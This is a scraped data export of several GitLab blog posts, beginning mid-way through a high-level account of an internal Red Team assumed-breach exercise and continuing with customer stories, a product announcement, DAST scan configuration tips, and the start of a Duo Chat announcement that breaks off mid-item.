the operation. We had them visit a website we created which mimicked the download page of a popular open-source desktop utility. They downloaded the utility and followed the on-screen instructions to install and authorize it.\n\nThe application was a modified fork of the legitimate tool, created just for this operation. It contained an embedded script which downloaded our command and control (C2) agent and provided the Red Team access to the laptop. This scenario mirrored the adversary we were emulating, who would deploy malware to engineers' laptops.\n\nUsing an insider to launch the initial payload is a common Red Team technique called an \"assumed breach.\" This allows the Red Team to focus their efforts on emulating post-exploitation activities, where there is more value in practicing detection and response.\n\nWith remote access achieved, the Red Team conducted various attack techniques locally on the laptop to steal web browser cookies and impersonate their active sessions.\nFrom there, we pursued further objectives similar to those of our emulated adversary.\n\nThese techniques triggered an alert from our SIEM system. This created an incident with our SIRT team, who immediately took action to contain and investigate the incident.\n\nSelect members of security leadership were included as trusted participants in the operation. We were all closely monitoring the investigation from a Slack room set up for this purpose. This allowed the SIRT engineers to experience responding to a very realistic attack while preventing the incident from escalating too far.\n\nAt some point during the investigation, it was revealed that the attacker was in fact the Red Team. SIRT had performed a thorough investigation, collaborating across the team to trace the attack back to our initial access vector.\n\nThis operation helped us validate some existing detection capabilities, recommend improvements for more, and give the team a chance to work together to solve an interesting challenge in a safe and controlled environment. This type of experience only comes from conducting attack operations in stealth, which is exactly why we have an internal Red Team at GitLab.\n\n## What we learned\n\nAt GitLab, we believe that performing Red Team operations in stealth provides the most realistic opportunity to practice detecting and responding to real-life attacks.\n\nWe also realize that every organization is different, and your security evolution may follow a different path.\n\nWe learned that having a plan defined early on and shared transparently across the organization was key to success.\nHere are the things that helped us the most:\n- Defining a maturity model and using it as a roadmap.\n- Committing to broad goals defined in GitLab epics, and breaking them down into manageable tasks inside GitLab issues.\n- Thoroughly documenting processes in our handbook and in GitLab issue templates.\n\nWe would love to hear your thoughts on Red Teaming and how you've managed your own security evolution. If there are any specific topics you'd like our team to write about in the future, please let us know. Feel free to comment below or to open issues or merge requests in any of [our public projects](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public).",[674,676],{"slug":7791,"featured":92,"template":678},"stealth-operations-the-evolution-of-gitlabs-red-team","content:en-us:blog:stealth-operations-the-evolution-of-gitlabs-red-team.yml","Stealth Operations The Evolution Of Gitlabs Red Team","en-us/blog/stealth-operations-the-evolution-of-gitlabs-red-team.yml","en-us/blog/stealth-operations-the-evolution-of-gitlabs-red-team",{"_path":7797,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7798,"content":7804,"config":7809,"_id":7811,"_type":16,"title":7812,"_source":17,"_file":7813,"_stem":7814,"_extension":20},"/en-us/blog/dunelm-strengthens-business-by-enhancing-its-devsecops-culture",{"title":7799,"description":7800,"ogTitle":7799,"ogDescription":7800,"noIndex":6,"ogImage":7801,"ogUrl":7802,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7802,"schema":7803},"Dunelm strengthens business by enhancing its DevSecOps culture","Learn how a major UK retailer is using GitLab to ensure everyone in their DevSecOps teams can work together, increasing speed, security, and trust.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670332/Blog/Hero%20Images/groupcollaboration.jpg","https://about.gitlab.com/blog/dunelm-strengthens-business-by-enhancing-its-devsecops-culture","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Dunelm strengthens business by enhancing its DevSecOps culture\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2023-11-16\",\n      }",{"title":7799,"description":7800,"authors":7805,"heroImage":7801,"date":7806,"body":7807,"category":2702,"tags":7808},[3907],"2023-11-16","When IT leaders at one of the UK’s largest retailers wanted to better support and strengthen the business, they created a culture where everyone on their DevSecOps teams could work together more naturally.\n\n“DevSecOps is a mindset and mindset is a cultural thing,” said Paul Kerrison, director of Engineering and Architecture at [Dunelm](https://about.gitlab.com/customers/dunelm/), a $1.6 billion (GBP) British home furnishings retailer. “Culture isn’t just a buzzword or something nice to have. There's a genuine value. It builds trust with not just the technology teams but with the wider business as a whole. That allows us to move faster and more safely.”\n\nKerrison, along with Jan Claeyssens, Dunelm’s DevSecOps principal engineer, talked about creating this cultural shift during GitLab’s DevSecOps World Tour event in London this fall. The 44-year-old company, which is traded on the London Stock Exchange and employs more than 11,000 people, adopted GitLab in 2020. They have been using the end-to-end platform to not only increase software development productivity and efficiency but to build inclusive teams that are focused on sharing responsibility for security.\n\nOn stage with Grigoriy Shlyapinkov, strategic customer success manager at GitLab, Claeyssens told the audience it’s been critical to cut out an us-versus-them mentality that existed between developers and security engineers. Working hard to break down those barriers, he said they’ve created a new [cohesive environment](/blog/its-time-to-put-the-sec-in-devsecops/).\n\nDunelm’s DevOps teams had been working together pretty well before the culture shift, but now they’re [collaborating](/blog/5-ways-collaboration-boosts-productivity-and-your-career/) on a different level.\n\n## Embedding security into the team\n\n“I think we can all agree that in 2023 you can no longer say you have good software if it isn't secure,” said Claeyssens. “We have to lean in and really listen to what problems other people are facing, and then figure out how to help them. We all work at Dunelm for the same thing – to [make the business better](/blog/how-devsecops-drives-business-success/). So we need to solve problems together and that’s going to be a continuous journey. This culture will require daily effort.”\n\nThat effort, though, is eased by using GitLab because everyone – from developers to security and the C-suite – can use the end-to-end platform to gain visibility into every project, Claeyssens noted.\n\n“With the platform we can serve all our users where they live,” he said. “It’s one of GitLab’s mantras. If you have everything in one place, all colleagues can see all the features, and in the end, that puts us on a journey together.” \n\n## Making room at the table\n\nKerrison said by rewarding positive behaviors and giving security team members a seat at what had once been an exclusive table, everyone can pick up the security mantle. \n\n“Including security in the leadership team and having them work closely with the engineering teams is key,” he said. “You can’t improve security if it's seen as a second-class citizen.”\n\nAnd part of making it easier for everyone to be aware of and work on security is about using automation features built into the GitLab platform, according to Claeyssens. “The platform is about automating security,” he said. “You have all the security scanners in GitLab – everything. We use the compliance frameworks. The vulnerability scanning. The scan result policies. It makes all our lives a little bit easier.”\n\nThat holistic approach to DevSecOps is what made Dunelm adopt GitLab in the first place. “GitLab sold us on the dream of the whole suite of features, and I'll be honest, I didn't know where GitHub was at the time,” said Claeyssens. “There were only so many contenders. That's how we ended up with GitLab.”\n\n## Looking ahead to working with AI\n\nWhen asked about using artificial intelligence-assisted tools to cut down on DevSecOps workloads, Kerrison said it’s really easy right now to get caught up in all the buzz about AI. Their work with it will likely start, he explained, with using AI for specific tasks, like code generation, vulnerability checks, and refactoring code. Then as it advances, the technology could start to give engineers real-time feedback on code as they’re writing it.\n\nReferencing Star Trek character Captain Jean-Luc Picard asking the starship’s food replicator for “tea, Earl Grey, hot,” Kerrison said he’s looking forward to the day he can order up microservice deliveries and the smart system will create automated testing, along with security and vulnerability scanning. \n\nWhat Kerrison’s really waiting for, though, are AI tools that have actual agency to be predictive, considering what projects and teams need assistance and then launching that work. “It would be much more trusted and can go out to find problems and fix them,” said Kerrison. “Then engineers can start to focus more on the what than the how. That’s where the power will be. Although until AI gets to the place where it can sort and pair socks after they've been through the washing, I don't think we're quite there yet.”\n\n_Dunelm, which uses GitLab Ultimate, has distribution centers, 178 stores, and a robust ecommerce operation. The company sees more than 12 million online transactions per year, while maintaining a large online catalog. More than ever, Dunelm relies on innovative technology engineering to improve customer experiences._\n\n_Read more GitLab customer stories on our [customers page](https://about.gitlab.com/customers/)._",[2705,943,479,674],{"slug":7810,"featured":6,"template":678},"dunelm-strengthens-business-by-enhancing-its-devsecops-culture","content:en-us:blog:dunelm-strengthens-business-by-enhancing-its-devsecops-culture.yml","Dunelm Strengthens Business By Enhancing Its Devsecops Culture","en-us/blog/dunelm-strengthens-business-by-enhancing-its-devsecops-culture.yml","en-us/blog/dunelm-strengthens-business-by-enhancing-its-devsecops-culture",{"_path":7816,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7817,"content":7823,"config":7828,"_id":7830,"_type":16,"title":7831,"_source":17,"_file":7832,"_stem":7833,"_extension":20},"/en-us/blog/gitlab-enterprise-agile-planning-add-on-for-all-roles",{"title":7818,"description":7819,"ogTitle":7818,"ogDescription":7819,"noIndex":6,"ogImage":7820,"ogUrl":7821,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7821,"schema":7822},"Beyond Devs: GitLab Enterprise Agile Planning add-on for all roles","Our new add-on helps you bring non-technical users into the same DevSecOps platform where engineers build, test, secure, and deploy code.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665084/Blog/Hero%20Images/agile.png","https://about.gitlab.com/blog/gitlab-enterprise-agile-planning-add-on-for-all-roles","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Beyond Devs: GitLab Enterprise Agile Planning add-on for all roles\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Justin Farris\"},{\"@type\":\"Person\",\"name\":\"Melissa Ushakov\"}],\n        \"datePublished\": \"2023-11-16\",\n      }",{"title":7818,"description":7819,"authors":7824,"heroImage":7820,"date":7806,"body":7826,"category":1897,"tags":7827},[7825,5555],"Justin Farris","Bringing teams together supercharges collaboration. Now you can take this a step further with a new GitLab Enterprise Agile Planning add-on that helps you bring non-technical users into the same DevSecOps platform where engineers build, test, secure, and deploy code.\n\nThe add-on enables you to support cross-team collaboration between developers and non-developers without having to purchase full GitLab licenses for non-engineering team members.\n\nWith additional Agile Planning seats ([$15 per user/month](https://about.gitlab.com/pricing/)), non-engineering team members can participate in planning workflows, measure software delivery velocity and impact with Value Stream Analytics, and utilize executive dashboards to drive organizational visibility. \n\n> This new Enterprise Agile Planning add-on is available to GitLab Ultimate subscriptions. Please contact your [GitLab sales representative](https://about.gitlab.com/sales/) for more information.\n\nAgile planning is most powerful when it extends its reach beyond developers to include stakeholders like product managers, designers, marketing, and sales teams. Here are three ways GitLab can bring value to your entire software development process:\n\n## 1. Scale up as your team grows\n\nGitLab's Enterprise Agile Planning capabilities are designed to grow with your organization. As your teams expand, so do your needs for Agile planning capabilities and cross-team collaboration. As a unified platform with a single data store, GitLab provides different stakeholders within the organization with a curated view of project status, enabling teams to track progress, identify bottlenecks, and make informed decisions. GitLab supports multi-year and cross-team planning workflows, enabling you to do strategic and tactical planning within a single tool. These efficient cross-team workflows help projects move faster from concept to delivery, ensuring a competitive edge in today’s fast-paced digital landscape.\n\n![EpicTree](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677087/Blog/Content%20Images/EpicTree.png)\n\n> Migrating from Jira? [Learn more here](https://about.gitlab.com/blog/tips-for-a-successful-jira-to-gitlab-migration/).\n\n## 2. Bring compliance closer to development \n\nGitLab ensures that compliance checks and enforcements are automated and seamlessly integrated into software development, making the process more efficient and transparent, and less error-prone. In GitLab, compliance checks like [approval rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html), [compliance pipelines](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#compliance-pipelines), and [deployment approvals](https://docs.gitlab.com/ee/ci/environments/deployment_approvals.html) are closer to the code as part of developers’ natural workflow, rather than a separate workflow or within a separate issue-tracking tool. With GitLab, reviewers can more easily review the updates in the context of the change and developers can receive more rapid feedback. \n\n![Approvals rules](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677088/Blog/Content%20Images/Approvals_rules.png)\n\n> Learn more about [GitLab Enterprise Agile Planning](https://about.gitlab.com/solutions/agile-delivery/).\n\n## 3. Eliminate time-consuming configurations\n\nMany Agile planning tools are highly customizable. That can be great for building highly complex and sophisticated workflows, but that complexity can also be a maintenance hazard. Spending time on tool maintenance limits innovation and creates friction in your team’s day-to-day work. GitLab prioritizes convention over configuration to deliver exceptional user experiences that work as-is by default while also giving flexible configuration options so that teams can spend less time on maintenance and more time on innovation. A simplified planning tool within the DevSecOps platform where code is built and delivered drives collaboration, transparency, and trust across all roles, leading to a better cross-team experience to build software faster. \n\n> Are you ready for the Atlassian Server end of life? Learn more about [the benefits of migrating from Atlassian to GitLab](https://about.gitlab.com/move-to-gitlab-from-atlassian/). \n\n## Get started with GitLab Enterprise Agile Planning\n\nIn true GitLab fashion, we continue to [rapidly iterate on our Enterprise Agile Planning capabilities](https://about.gitlab.com/direction/plan/). When you’re ready to get started, [we’re here to help](https://about.gitlab.com/sales/).\n",[1899,943,479],{"slug":7829,"featured":92,"template":678},"gitlab-enterprise-agile-planning-add-on-for-all-roles","content:en-us:blog:gitlab-enterprise-agile-planning-add-on-for-all-roles.yml","Gitlab Enterprise Agile Planning Add On For All Roles","en-us/blog/gitlab-enterprise-agile-planning-add-on-for-all-roles.yml","en-us/blog/gitlab-enterprise-agile-planning-add-on-for-all-roles",{"_path":7835,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7836,"content":7841,"config":7846,"_id":7848,"_type":16,"title":7849,"_source":17,"_file":7850,"_stem":7851,"_extension":20},"/en-us/blog/tips-to-configure-browser-based-dast-scans",{"title":7837,"description":7838,"ogTitle":7837,"ogDescription":7838,"noIndex":6,"ogImage":1101,"ogUrl":7839,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7839,"schema":7840},"Tips to configure browser-based DAST scans","Learn how to use the browser-based analyzer with common dynamic application security testing settings, based on web application attributes, to ensure successful scans.","https://about.gitlab.com/blog/tips-to-configure-browser-based-dast-scans","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tips to configure browser-based DAST scans\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julie Byrne\"},{\"@type\":\"Person\",\"name\":\"Jerez Solis\"}],\n        \"datePublished\": \"2023-11-14\",\n      }",{"title":7837,"description":7838,"authors":7842,"heroImage":1101,"date":7843,"body":7844,"category":674,"tags":7845},[5911,2622],"2023-11-14","The GitLab Dynamic Application Security Testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)) scan uses an actively running environment to crawl the application and find misconfigurations of your application server or incorrect assumptions about security controls that may not be visible from the source code. GitLab now provides a proprietary [browser-based analyzer](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html) for scanning applications that make heavy use of JavaScript, including single-page web applications. The DAST scan needs to be configured properly to account for various web application attributes, including authentication mechanism, authenticated landing page, and page load times. In this tutorial, you will learn common configurations that have helped our customers use the browser-based analyzer to successfully implement DAST scans. \n\n## General considerations\n\nThe browser-based DAST scan takes the URL of the application it's supposed to scan from the `DAST_WEBSITE` environment variable. This should point to a test environment - you should not run a DAST scan against a production environment, even if you are only running a passive scan. For ephemeral environments that are deployed as part of the CI/CD pipeline, you can save the URL of the environment as an artifact `environment_url.txt`, which will then be used by the [DAST scan template job](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml) to set the `DAST_WEBSITE` variable.  The [GitLab Auto DevOps deploy template job](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) has an example of this. \n\nDepending on the size of the web application, a DAST scan may take an hour or more to complete. You will want to ensure that whatever runner is used to perform the DAST scan has a [job timeout value](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#set-maximum-job-timeout-for-a-runner) set to be long enough to allow the scan to complete. Similarly, you should ensure that the [project level CI/CD timeout](https://docs.gitlab.com/ee/ci/pipelines/settings.html#set-a-limit-for-how-long-jobs-can-run) is sufficient to allow the job to complete. **Note:** Shared runners on gitlab.com have a runner timeout of 180 minutes, regardless of the project CI/CD timeout set.\n\n## Configuration options for websites requiring authentication\n\nMany web applications require a user to log in to access the site. Logins can be implemented as basic http authentication or, more commonly, as form authentication.  For form authentication, the login form might be implemented in one of several ways:\n\n1. username and password fields on the main website landing page\n2. a login button that opens a modal (also called a modal window or lightbox) that displays in front of the page and disables all other page content until the login is completed or the modal is closed; there is not a separate URL associated with a modal window\n3. a login button that opens a new window, with its own URL \n\nAdditionally, the form may be either a single-step form, where the username and password fields are on the same page, or a multi-step form, where the username and password fields are on separate pages.  \n\nWhen running a DAST scan, the analyzer must know how to [authenticate](https://docs.gitlab.com/ee/user/application_security/dast/authentication.html).  We need to specify these details via the appropriate variables.  \n\nThe `DAST_USERNAME` and `DAST_PASSWORD` variables specify the login credentials to be used. The variable values should be set via masked variables at the project level, not included within the `.gitlab-ci.yml` file.\n\n### URL variable values\n\nVarious URL values must also be specified: \n   - `DAST_AUTH_URL` - the URL of the login page\n   - `DAST_WEBSITE` - specifies the URL of the page the user is redirected to after logging in\n\n**Note:** If your website uses authentication with a login button that opens a new window with its own URL, you should specify the URL of that new window as the `DAST_AUTH_URL` value.  \n\nGitLab enhancements are currently being implemented to support cases where additional actions must be taken post-login prior to being brought to the main site. See [this epic](https://gitlab.com/groups/gitlab-org/-/epics/11585)  for details: DAST browser-based analyzer multi-step login form does not support 'keep me signed in' workflow (AzureAD).\n\n### Field variable values\n\n`FIELD` variables specify the page elements used. These values can typically be identified by inspecting the page source. For single-step login pages, you will need to specify:\n - `DAST_USERNAME_FIELD`\n - `DAST_PASSWORD_FIELD`\n - `DAST_SUBMIT_FIELD` \n\nFor multi-step logins, you would instead specify:\n\n - `DAST_FIRST_SUBMIT_FIELD` - the button clicked after entering the username\n - `DAST_SUBMIT_FIELD` - the button clicked after entering the password\n\nIf your login button opens a modal, you should also specify `DAST_BROWSER_PATH_TO_LOGIN_FORM`, which provides the path of elements to click to get from the initial login URL to the login fields.\n\n#### Examples\n\n![username email field](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683113/Blog/Content%20Images/username_email_field.png)\n\nIn this example, you can target the input element for the username field in different ways. Keep in mind that the selector you chose should be resilient to the application changing. We recommend to use the `id` and `name` attributes, as these are generally unique on a page and rarely change.\n\n```\nDAST_USERNAME_FIELD: \"id:user_login\"\nDAST_USERNAME_FIELD: \"name:user[login]\"\nDAST_USERNAME_FIELD: \"css:input[type=text]\"\n```\n\nThe same process can be followed for the password field. For example:\n\n```\nDAST_PASSWORD_FIELD: \"id:user_password\"\nDAST_PASSWORD_FIELD: \"name:user[password]\"\nDAST_PASSWORD_FIELD: \"css:input[type=password]\"\n```\n\n**Submit/Sign in/Login button**\n\n![login](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683114/Blog/Content%20Images/login.png)\n\nYou can target the submit/sign in/login button using this selector:\n\n```\nDAST_SUBMIT_FIELD: \"css:button[type=submit]\"\n```\n\n**Note:** If the submit button is not a `\u003Cbutton>`, but an input element in the form of `\u003Cinput type=\"submit\" name=\"login\">`, you can use one of the following selectors:\n\n```\nDAST_SUBMIT_FIELD: \"css:input[type=submit]\"\nDAST_SUBMIT_FIELD: \"css:input[name=login]\"\n```\n\n### Other variables to set\n\nIf the username and password fields are on separate pages, DAST has to wait after submitting the username before looking for the password field.\n\nThe `DAST_BROWSER_ACTION_STABILITY_TIMEOUT` variable, with a default value of 800ms, specifies the wait time. This time can be increased if the login response time is slow.\n\nIf the website has a large JavaScript file that is required to load the target application, it is recommended that you use the variable `DAST_BROWSER_MAX_RESPONSE_SIZE_MB` to increase the limit for response sizes. The default is 10MB but can be increased for 50MB or more, if necessary.\n\n## Tools for troubleshooting\n\nSeveral tools will help with DAST scan troubleshooting:\n\n- [authentication report](https://docs.gitlab.com/ee/user/application_security/dast/authentication.html#configure-the-authentication-report) - This report can be produced during the scan and saved as a CI/CD job artifact to assist with understanding the cause of an authentication failure. The report contains steps performed during the login process, HTTP requests and responses, the Document Object Model (DOM), and screenshots. To configure the report, set `DAST_AUTH_REPORT` to `true` and configure an artifacts attribute for the DAST job, e.g.:\n\n```\ndast:\n   variables:\n      DAST_WEBSITE: \"https://example.com\"\n      DAST_AUTH_REPORT: \"true\"\n    artifacts:\n      paths: [gl-dast-debug-auth-report.html]\n      when: always\n```\n\n- [analyzer logs](https://docs.gitlab.com/ee/user/application_security/dast/browser_based_troubleshooting.html#browser-based-analyzer-logging) - Setting `DAST_BROWSER_LOG` to `auth:debug` or `auth:trace` will provide additional logging that may help identify an issue with the scan. \n\nThe browser-based DAST scan configuration depends on the specific attributes of the web application you're testing, including how authentication is implemented to access the web site, what buttons are used, and how fast your browser loads once the user has authenticated. Using the appropriate variables to guide the analyzer through the authentication process will ensure that you are able to run a successful scan. And robust error logging and the authentication report will provide additional pointers to where the configuration might be incorrect and need to be adjusted.\n\nTry DAST scanning with [a free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n\n## Read more\n- [How to configure DAST full scans for complex web applications](https://about.gitlab.com/blog/how-to-configure-dast-full-scans-for-complex-web-applications/)\n- [How we're using DAST 2 for easier scan configuration](https://about.gitlab.com/blog/how-were-using-dast2-for-easier-scan-configuration/)\n",[674,942,942,696],{"slug":7847,"featured":6,"template":678},"tips-to-configure-browser-based-dast-scans","content:en-us:blog:tips-to-configure-browser-based-dast-scans.yml","Tips To Configure Browser Based Dast Scans","en-us/blog/tips-to-configure-browser-based-dast-scans.yml","en-us/blog/tips-to-configure-browser-based-dast-scans",{"_path":7853,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7854,"content":7860,"config":7864,"_id":7866,"_type":16,"title":7867,"_source":17,"_file":7868,"_stem":7869,"_extension":20},"/en-us/blog/why-hackerone-gets-love-letters-from-developers",{"title":7855,"description":7856,"ogTitle":7855,"ogDescription":7856,"noIndex":6,"ogImage":7857,"ogUrl":7858,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7858,"schema":7859},"Why HackerOne gets love letters from its developers","Learn how HackerOne is making developers more productive while ensuring that security is built into their software development processes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662439/Blog/Hero%20Images/codewithheart.png","https://about.gitlab.com/blog/why-hackerone-gets-love-letters-from-developers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why HackerOne gets love letters from its developers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2023-11-14\",\n      }",{"title":7855,"description":7856,"authors":7861,"heroImage":7857,"date":7843,"body":7862,"category":2702,"tags":7863},[3907],"At [HackerOne](/customers/hackerone/), a cybersecurity company, using the GitLab DevSecOps Platform has changed developers’ team experience and culture so much they’re basically sending the company love letters about their jobs.\n\nThis is no exaggeration, according to HackerOne Senior Director of Platform and Infrastructure Russell Owen, who spoke to an audience at GitLab’s DevSecOps World Tour in Mountain View, California, this fall. The 11-year-old company adopted GitLab in 2018 for source code and issues management, CI/CD, and security and compliance – features that didn’t exist in its previous tooling system. Since then, developers have become more productive — and happier.\n\nHackerOne isn’t alone here. According to GitLab’s [2023 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2023/), 28% of the more than 5,000 respondents said using DevOps made their developers happier. Productivity, efficiency, and automation go a long way to making developers’ jobs easier and more enjoyable. \n\n## Measuring for DevSecOps impact\n\n“We run surveys every quarter. Are the developers happy? What do they find frustrating? Where's the friction?” Owen said in an on-stage interview with [Sherrod Patching](https://about.gitlab.com/company/team/#spatching), vice president of customer success management at GitLab. “We compare our metrics across the industry to see how we're doing.”\n\nAnd they’re doing well. “For instance, just making our [CI/CD pipelines](/blog/how-to-learn-ci-cd-fast/) as tight as possible makes people more effective. We've done a lot of work on optimizing that inside of GitLab,” Owen added. “And we get what count as love letters from our developers. People are so excited because the pipeline times have come down substantially, and it has a direct impact on the productivity of the team.”\n\nWhile Owen said he definitely wants his DevSecOps team members to be happy, he also wants productivity to be high. And he noted the importance of evaluating a variety of metrics — from happiness to the number of merge requests and releases — to enable teams to quantify their impact on the company. And those numbers are good, too.\n\nWith GitLab, merge requests per engineer are up by 50% over the last year, and they’ve cut their code release time by 50% over the last two years, according to Owen, who added that the number of quarterly releases to production jumped by 73% since two years ago.\n\n“A lot of that is from just shaving time off the CI/CD pipeline,” he said. “That’s efficiency. That’s productivity. It’s important because I need to be able to justify our work and expenses. These kinds of metrics make it very easy for me to say: ‘Investing in this area has a measurable return on investment.’”\n\n## Using GitLab for security and compliance\n\nWhen a business is known around the world for cybersecurity, assuring the safety and reliability of its own code has to be a priority. HackerOne uses GitLab to ensure that security is built into their software products and processes, according to Owen.\n\nHe explained their need, for example, to keep the number of people who have access to their production systems to a minimum. The fewer people who can touch the system, the fewer potential entry points to introduce vulnerabilities. The platform enables the team to build in guidelines mandating that any change needs to be reviewed and approved by the infrastructure team. So when teams make a change to the infrastructure, it’s only applied to the system once it’s been accepted. \n\n“Changes are being reviewed by people who have expertise in the area,” said Owen. “This really allows efficiency, but also maintains security. And it's all done inside GitLab.”\n\nHackerOne also relies on the GitLab platform to make sure they are staying in line with strict [industry compliance requirements](/blog/meet-regulatory-standards-with-gitlab/). Limiting the number of people who have access to the system is an example of that.\n\nOwen said they also use GitLab to [stay compliant](/blog/top-5-compliance-features-to-leverage-in-gitlab/) with FedRAMP, the Federal Risk and Authorization Management Program, a set of standards the U.S. federal government requires for moving sensitive information into the cloud. \n\n“We do more and more work with containers and FedRAMP requires that they be scanned before being moved into production,” he added. “You can’t just bring them into your infrastructure directly. We stage and scan everything in GitLab — all the containers, particularly third-party containers. Then, if they meet our criteria, we move them on so they’re eligible for production.”\n\nWith GitLab, HackerOne remains FedRAMP compliant for all of its federal customers.  \n\n## Looking to an AI future\n\nWhen asked what he thought they’d be focused on over the next five years, Owen replied, “AI, AI, AI.”\n\nFor HackerOne, which brings in immense amounts of data, Owen said he’s looking to artificial intelligence to help them cull that flood of information to find patterns and pull out what will be useful to their customers.\n\n“Whatever business you're in, for a long time, there has been a lot of data,” Owen said. “And you can't help but wonder how you can use it to provide value to your customers, right? There has been a sea change in the last few years, from AI being something that was kind of theoretically interesting to something that is operationally useful. So if you're not doing AI... Well, I'm sure we’re all doing AI. You have to do it now. And the tools are just incredible.”\n\n_HackerOne’s Owen is a software developer, designer, and IT leader with more than 20 years of experience building advanced systems. He previously worked at Google as an engineering manager in the company’s privacy and security department, as well as at Research in Motion, where he was responsible for the Blackberry’s infrastructure design._\n\n_Read more GitLab customer stories on our [customers page](https://about.gitlab.com/customers/)._",[943,479,790,2705],{"slug":7865,"featured":92,"template":678},"why-hackerone-gets-love-letters-from-developers","content:en-us:blog:why-hackerone-gets-love-letters-from-developers.yml","Why Hackerone Gets Love Letters From Developers","en-us/blog/why-hackerone-gets-love-letters-from-developers.yml","en-us/blog/why-hackerone-gets-love-letters-from-developers",{"_path":7871,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7872,"content":7877,"config":7882,"_id":7884,"_type":16,"title":7885,"_source":17,"_file":7886,"_stem":7887,"_extension":20},"/en-us/blog/gitlab-duo-chat-beta",{"title":7873,"description":7874,"ogTitle":7873,"ogDescription":7874,"noIndex":6,"ogImage":1032,"ogUrl":7875,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7875,"schema":7876},"Say hello to GitLab Duo Chat: A new level of AI-assisted productivity","Learn how GitLab Duo Chat, releasing Nov. 16 in Beta, can help elevate your coding skills, streamline onboarding, and supercharge team efficiency.","https://about.gitlab.com/blog/gitlab-duo-chat-beta","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Say hello to GitLab Duo Chat: A new level of AI-assisted productivity\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Torsten Linz\"}],\n        \"datePublished\": \"2023-11-09\",\n      }",{"title":7873,"description":7874,"authors":7878,"heroImage":1032,"date":7879,"body":7880,"category":791,"tags":7881},[1342],"2023-11-09","\n[GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html), the newest feature in the GitLab Duo suite of AI-assisted capabilities, helps teams write and understand code faster, get up to speed on the status of projects, and quickly learn GitLab. Chat will be available in Beta starting November 16.\n\nChat also will be included in our [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/) and [GitLab Workflow extension for VS Code](https://docs.gitlab.com/ee/editor_extensions/visual_studio_code/) as an experimental release. Get code explanations, generate tests, and create code right where your development work happens; no need for context switching. \n\nWe launched the [GitLab Duo suite](https://about.gitlab.com/gitlab-duo/) earlier this year to bolster software development teams' workflow, helping you deliver more secure software at an unprecedented pace and create more value for your customers. GitLab is the only platform that brings AI-powered planning tools, code creation, security scanning, and vulnerability remediation all into a single developer-friendly experience.\n\nChat will serve as the foundational technology driving our AI-powered GitLab Duo features, such as Vulnerability Summary and Root Cause Analysis. This will enable you to pose in-context follow-up questions for a more thorough investigation.\n\n> [Contact our sales team](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/) to get started with GitLab Duo Chat.\n\nIn our [Global DevSecOps Report: The State of AI in Software Development](https://about.gitlab.com/developer-survey/#ai), 83% of respondents said that implementing AI in their software development processes is essential to avoid falling behind, and they ranked chatbots among their top three AI use cases. Chat, which will be released for Ultimate tier customers as part of GitLab 16.6, is the perfect feature to help you maintain your competitive advantage. Here's why.\n\n## Designed to support everyone across the software development process \nFrom coding assistance to productivity tips, Chat provides real-time support for technical and non-technical users across the entire software development lifecycle. \n\n- **Inspiration on demand:** Need help determining the next best step in your workflow? Chat is ever-ready to ignite your ideation process.\n\n- **Elevate productivity:** Chat shoulders the burden of routine tasks so you can channel your energy into delivering value to your customers. \n\n- **Guidance at every step:** Whether you're a GitLab expert or a newcomer, Chat is your go-to coach, helping you become an expert in any process or feature.\n\nSometimes, there isn't enough time in the day, and even though you want to focus on important tasks, there are many little things you need to do. \n\n- **Code assistance:** Chat can assist in decoding the mysteries of unfamiliar code. It can explain,  propose tests, or simplify the code. You can also use Chat to write code from scratch interactively.\n\n![Chat in Web IDE](https://about.gitlab.com/images/blogimages/2023-11-09-chat-beta/chatbetaissueepicmanagement.gif){: .shadow}\n\n- **Issue and epic management:** Summarize an issue in seconds, turn comments into an issue description, or distill specific information from large epics easily. You can ask any question about the content of an epic or an issue. Plan work with issues and epics faster with the help of Chat. \n\n![Chat issue and epic management example](https://about.gitlab.com/images/blogimages/2023-11-09-chat-beta/chatinideexperimentalrelease.gif){: 